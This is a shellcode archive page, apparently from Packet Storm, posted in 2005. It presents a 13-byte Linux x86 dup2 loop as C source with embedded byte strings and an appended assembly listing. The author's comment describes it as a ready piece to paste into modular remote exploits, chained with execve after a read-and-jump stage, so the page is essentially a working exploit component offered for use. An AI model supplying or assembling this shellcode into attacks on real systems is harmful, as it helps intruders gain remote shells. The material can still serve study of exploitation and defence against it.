what you don't know can hurt you

dup2_loop-core.c

dup2_loop-core.c
Posted Nov 8, 2005
Authored by Charles Stevenson | Site bokeoa.com

dup2(0,0); dup2(0,1); dup2(0,2); shellcode for Linux x86. dup2_loop-core.s is appended.

tags | x86, shellcode
systems | linux
MD5 | 1097361a8eeb9c08c113b6e6e52bd7ff

dup2_loop-core.c

Change Mirror Download
/* dup2_loop-core.c by Charles Stevenson <core@bokeoa.com> 
*
* I made this as a chunk you can paste in to make modular remote
* exploits. I usually combine this with an execve as the second
* stage of a read() jmp *%esp
*/
char hellcode[] = /* dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by core */
"\x31\xc9" // xor %ecx,%ecx
"\x56" // push %esi
"\x5b" // pop %ebx
// loop:
"\x6a\x3f" // push $0x3f
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x41" // inc %ecx
"\x80\xf9\x03" // cmp $0x3,%cl
"\x75\xf5" // jne 80483e8 <loop>
;

int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}

# 13 bytes dup2(0,0) dup2(0,1) dup2(0,2)
# by core@bokeoa.com
.globl main
main:
xor %ecx,%ecx # stdin
mov $0x69,%esi
mov %esi, %ebx
loop:
push $0x3f # __NR_dup2
pop %eax
int $0x80
inc %ecx # stdout, then stderr
cmpb $0x3, %cl
jne loop

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    12 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    16 Files
  • 22
    May 22nd
    13 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close